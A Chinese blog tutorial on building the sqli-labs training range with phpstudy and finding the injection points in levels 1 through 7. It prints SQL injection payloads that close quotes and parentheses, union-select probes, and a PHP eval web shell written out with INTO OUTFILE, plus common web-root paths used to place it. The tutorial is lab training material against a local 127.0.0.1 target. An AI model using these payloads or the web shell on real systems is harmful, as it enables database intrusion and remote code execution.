靶场搭建

小白建议直接用集成环境.推荐laragon (由于这套靶场较早,需要使用php7.0以下环境,安装完php laragon需要在安装php低版本,默认laragon只集成了一个7.0的php),

如果不懂怎么安装php低版本到laragon,推荐使用php study. 这款集成工具最大的亮点就是集成了php的各个版本,相比于laragon 可能配置则会稍微复杂点..

php study:

laragon:

关于环境,这里不过多介绍,有兴趣的自己了解一下,各有千秋.但本人更倾向于laragon.

本套课程,所采用的集成环境为 php study.

搭建步骤

  获取源码. 自行百度或者通过我的分享.

# 链接:https://pan.baidu.com/s/1XS38kjkn52Y822oN7JOLyw
# 提取码:fdbo
# 复制这段内容后打开百度网盘手机App,操作更方便哦

文件解压到phpstudy下的WWW(点击网站根目录,拷贝的时候先把目录清空),完工! (此方法为替换了默认的站点信息.也可通过域名站点管理添加站点指定路径 修改本地host来完成. )

访问测试:

访问127.0.0.1:

截至到此,安装没没有真正意义的完成.我们需要修改下php源码.找到数据库配置. 修改为你的数据库账号密码.:

完成后我们就可以进行闯关了..

less-1

访问less-1 看到如下页面.我们手工键入查询参数得知,此url是查询url. 所有的关卡只进行到发现注入点,(注意点方式很多,这里我只展示一种)不涉及暴库等操作.具体的可以自行研究.

键入常用的payload进行尝试. 成功!

通过修改源码, 输出对应sql语句,得知:

SELECT * FROM users WHERE id='' LIMIT 0,1  # 原始sql
# 我使用的payload
SELECT * FROM users WHERE id='' or 1=1 -- '' LIMIT 0,1

less-2

通过less-1 的套路,我在less-2的地址也加入了查询参数.得到的结果和less-1是一样的.

通过union联合查询 执行成功 由此断定sql存在注入漏洞.

 # 原始sql
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# payload
SELECT * FROM users WHERE id=-1 union select 1,2,3 -- '' LIMIT 0,1

pay load

less-3

打开url 我们还是老套路 先尝试在url后面加个闭合的单引号 看输出信息是否异常

可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢

首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1

我们明显看到-1的右边多了一个' 这是似成相识的感觉吧,后面还有个),那么对于的左边也有(,我们看看代码是不是 id=('$id'),

# 使用的payload
id=-1%27)%20or%201=1%20--%20%27
id = -1') or 1=1 -- '

less-4

按老套路 查询参数后面加单引号, 发现可以正常查询.试试双引号,结果就报错了,

为什么单引号不报错呢? 因为在sql查询语句中,单引号是可以包双引号的

发现注入点之后  我们可以通过构造闭合双引号来尝试.

# 原始sql
SELECT * FROM users WHERE id=("1") LIMIT 0,1
# payload
select * from users where id = ("-1") or 1=1 -- "")

less-5

参考less -2 . (单引号)

less-6

参考less-2. (双引号)

less-7

看首页说是导出文件GET字符型注入,常用的语句是:  select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)

这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就/var/www/htm,/var/www/html/htdocs

下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)

首先介绍两个可以说是函数,还是变量的东西

@@datadir (读取数据库路径)
@@basedir (MYSQL 获取安装路径)

# payload
SELECT * FROM users WHERE id=(('-1')) or 1=1 -- '')) LIMIT 0,1
# 上传文件的payload
http://127.0.0.1/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["php09"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23

最新文章

  1. cavans 详解
  2. sqlite简单使用
  3. iOS开发-友盟分享(3)
  4. 银联SDK
  5. 关于JSF国际化问题
  6. 部署eolinker开源版接口管理
  7. AX_UserInfo
  8. php MP3文件下载功能的实现
  9. scp 脚本
  10. ubuntu18.04配置nvidia docker和远程连接ssh+远程桌面连接(一)
  11. allowDefinition=&#39;MachineToApplication错误
  12. 【GIS】使用GDAL为Leaflet切图
  13. MySQL 中间件 mycat 的使用
  14. ffmpeg 播放音频
  15. C山寨C++
  16. nodejs 跨域设置cookie
  17. 【ExtJS】FormPanel 布局(一)
  18. HTML5相册浏览插件
  19. BZOJ4563 HAOI2016放棋子(高精度)
  20. Gradle build.gradle to Maven pom.xml ,终于找到你了。

热门文章

  1. 通过shell命令往android中写入配置
  2. Python 函数初识 (1)
  3. linux 本机内核模块
  4. JavaScript的函数闭包详细解释
  5. k-近邻(KNN)算法改进约会网站的配对效果[Python]
  6. C++ 既有约定
  7. 基于aws api gateway的asp.net core验证
  8. js 对数据进行过滤
  9. 让多个HTML页面 使用 同一段HTML代码
  10. IdentityServer4【Reference】之Profile Service